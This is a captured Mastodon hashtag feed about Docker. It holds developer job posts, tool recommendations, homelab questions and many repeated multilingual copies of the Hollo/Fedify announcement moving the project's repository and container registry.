ich suche zur Zeit einen #Job als #Softwareentwickler im Raum #Potsdam oder #Remote
Ich bin Diplom- #Informatik-er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit
#Cpp
#Csharp
#Javascript
#Typescript
#CSS
#HTML
#Java
#Python
#Angular & #Ionic
#MFC, #WindowsForms & #WPF
…
Auch #Docker, Gitlab-#Pipelines oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf #Windows, #Linux, und auch ein wenig auf MacOS.

Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.

Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.

Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.

Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.

Vielleicht findet sich ja etwas über diese Plattform.

Vielen Dank.

weltraumpoet

@weltraumpoet@nerdculture.de

Hallo,

Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.

Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.

Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.

Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.

Vielleicht findet sich ja etwas über diese Plattform.

Vielen Dank.

"Musty Bits" McGee

@arichtman@eigenmagic.net

This is such a clever and handy thing...

https://nixery.dev/

#Nix #NixPkgs #Docker #Containers #OCI #DevOps #PlatformEngineering

Magnus Hedemark

@maurice@pompat.us

If #PhanpySocial were a native mobile app, it would dominate the #Fediverse client segment. Hats off. This is really fine work.

If you’re into #selfHosting, #docker, etc you will find it absurdly easy to deploy. Or just use the flagship instance at https://phanpy.social/

Thanks again, @cheeaun !!

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

コンテナ間通信でハマった話
https://qiita.com/kokeriback0872/items/888eadf39b312126137d?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Go #Docker #React #docker_compose

Riccardo Pasquini

@morphy76@mastodon.social

aaaaaand.... as a developer, after a while, I feel safe to say that #OsX is far worse than #Linux but far better than #Windows ... just realizing how much working with #KDE and without any mid-vm (yeah #Docker, I'm talking to you) was satisfying

Raphaël.

@u03c1@bzh.social · Reply to nixCraft 🐧's post

How many projects or CI stacks, critical or not, in production or not, rely on some Dockerfile starting with "FROM alpine:xxx" ?

https://alpinelinux.org/posts/Seeking-Support-After-Equinix-Metal-Sunsets.html

#alpinelinux #docker #CI #dev #webdev #saas #programming #devops

"Musty Bits" McGee

@arichtman@eigenmagic.net

Ya love to see this stuff

https://github.com/jpetazzo/registrish

@jpetazzo nice hacking :neocat_evil_3c:

#Docker #OCI #Containers #PlatformEngineering #DevOps

Raphaël.

@u03c1@bzh.social · Reply to nixCraft 🐧's post

How many projects or CI stacks, critical or not, in production or not, rely on some Dockerfile starting with "FROM alpine:xxx" ?

https://alpinelinux.org/posts/Seeking-Support-After-Equinix-Metal-Sunsets.html

#alpinelinux #docker #CI #dev #webdev #saas #programming #devops

Mauricio Teixeira 🇧🇷🇺🇲

@badnetmask@hachyderm.io

New blog post! Come figure out how I have configured my Forgejo runners to build my container images on my Raspberry Pi, totally self-hosted and private. I went crazy and run Docker in Docker in Docker in ... (you got the idea). There is also a bonus LXC container with Proxmox and a sprinkle of Ansible. This was a fun experiment, and I hope you enjoy it!

#HomeLab #SelfHosted #Forgejo #RaspberryPi #Docker #Proxmox #SysAdminLife #Blog

https://mteixeira.wordpress.com/2025/02/03/my-self-hosted-forgejo-runner-setup/

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

Devcontainerを使ってDjangoの環境構築をしよう!
https://qiita.com/ooyy0121/items/be58d39f277f1a7a9f63?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Python #Django #Docker #初学者向け #プログラミング初心者

Quokka 🇦🇺

@quokka1@mastodon.au

For those that #selfhost and have a #homelab and use something like a #minipc for #proxmox, #docker and other small projects e.g. #PiHole, Bluesky, Mastodon, VPN server, #Nextcloud, what hardware would you recommend? Budget around AUD4-500 (USD250-300), dual-NIC in case I do something routery with it later, doesn't need any wireless connectivity, not going to be connected to monitors or do any media serving/transcoding, won't be a NAS (but I reckon 512GB storage is minimum), power and noise not a problem as it'll be in a comms rack in garage (but would prefer not some huge 2U ProLiant or whatever just so it doesn't wrench it off the wall. I don't mind having "last year's" spec, or considering a refurbed SFF desktop I can load with RAM, storage and NICs.

Riccardo Pasquini

@morphy76@mastodon.social

Kushal Das :python: :tor: 🇵🇸

@kushal@toots.dgplug.org

Wrote about how to setup @pixelfed on #docker / #container https://kushaldas.in/posts/pixelfed-on-docker.html #photography #fediverse #pixelfed

You can follow my account at @kushal@pixel.kushaldas.photography

ALT text details

Screenshot of kushal's pixelfed site

Mauricio Teixeira 🇧🇷🇺🇲

@badnetmask@hachyderm.io · Reply to Mauricio Teixeira 🇧🇷🇺🇲's post

Okay, here's something that is killing my Forgejo runner experiment: I need the perfect container image. The ones I have tried so far are missing one thing or another, and it's taking me a while to deal with that.

So, instead of trying to build my own image, let me ask the hive mind if anyone knows of a single *reliable* container image that has all of the following *already* installed: Python, NodeJS and Docker CE (or Podman).

And no, I'm not looking for a container image built buy a random guy for their own personal use. That guy could be me. I really want something that is supported as part of a larger project.

My sanity thanks you.

#HomeLab #Forgejo #SysAdminLife #SelfHosted #Docker #Podman

Chris Brooking

@chris108@wizard.casa

Has anyone used the Mitra Docker image: https://hub.docker.com/r/bleakfuture0/mitra ? If so is there any documentation, for example file system and port mappings and/or example Docker files ?

#mitra #mitraweb #docker #askfediverse #fediverse

AdrianC

@adrianc@hachyderm.io

Hi!

I'm Adrian, a FullStack #Developer looking for a job either in #Québec (or from it if you allow for remote work), with a permanent and open visa

I have experience building and maintaining web apps and APIs, designing systems, doing #DevOps and a bit of #BigData, #MachineLearning and #IoT

I'm experienced using #Elixir, #Phoenix, #LiveView, #NodeJS, #TypeScript, #Fastify, #Express and #Python ; and on the DevOps side in CI/CD pipelines (either #GithubActions and Gitlab CI/CD), #Docker and a bit of #Kubernetes

I was tasked with a lot of the #innovation happening in my previous company, researching tools, librairies, patterns or general technologies either for our own #DeveloperExperience or for our products

I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: https://blog.adrianc.eu

You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting

I’m open to full-time right now, contracting work can be discussed.

I'm looking for any developer position, not only #ElixirLang, even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P

DM me for more info, like github link, my resume or anything :)

Boosts, responses and DM welcome, of course!

#MyElixirStatus #FediJobs #FediJob #FediGetHired #OpenToWork

AdrianC

@adrianc@hachyderm.io

Hi!

I'm Adrian, a FullStack #Developer looking for a job either in #Québec (or from it if you allow for remote work), with a permanent and open visa

I have experience building and maintaining web apps and APIs, designing systems, doing #DevOps and a bit of #BigData, #MachineLearning and #IoT

I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: https://blog.adrianc.eu

You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting

I’m open to full-time right now, contracting work can be discussed.

DM me for more info, like github link, my resume or anything :)

Boosts, responses and DM welcome, of course!

#MyElixirStatus #FediJobs #FediJob #FediGetHired #OpenToWork

DevOps Weekly

@devops_discussions@mastodon.social

macOS now identifies Docker as Malware

https://github.com/docker/for-mac/issues/7520

Discussions: https://discu.eu/q/https://github.com/docker/for-mac/issues/7520

#devops #docker

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

洪民憙 (Hong Minhee)

@hongminhee@hollo.social

Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

Hollo

@hollo@hollo.social

The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

洪民憙 (Hong Minhee)

@hongminhee@hollo.social

Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

洪民憙 (Hong Minhee)

@hongminhee@hollo.social · Reply to 洪民憙 (Hong Minhee)'s post

#Hollo 關聯(관련) 重要(중요) 消息(소식)을 共有(공유)합니다. 貯藏所(저장소)가 새로운 곳으로 移徙(이사)했어요! #Docker 이미지로 使用中(사용중)이신 분들은 確認(확인) 付託(부탁)드립니다:

https://hollo.social/@hollo/0194aa7b-017e-74e7-b97a-f91bb6c7b8e6

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

洪民憙 (Hong Minhee)

@hongminhee@hollo.social · Reply to 洪民憙 (Hong Minhee)'s post

https://hollo.social/@hollo/0194aa7b-017e-74e7-b97a-f91bb6c7b8e6

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

洪民憙 (Hong Minhee)

@hongminhee@hollo.social

Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

洪民憙 (Hong Minhee)

@hongminhee@hollo.social

Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Docker 설정을 다음과 같이 변경해 주세요:

기존 이미지 주소: ghcr.io/dahlia/hollo:latest
새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다.

#fediverse #페디버스 #연합우주 #도커

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social · Reply to Hollo :hollo:'s post

Dockerの設定を以下のように更新してください：

旧アドレス：ghcr.io/dahlia/hollo:latest
新アドレス：ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。

#Hollo #fediverse #フェディバース #Docker #ドッカー

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

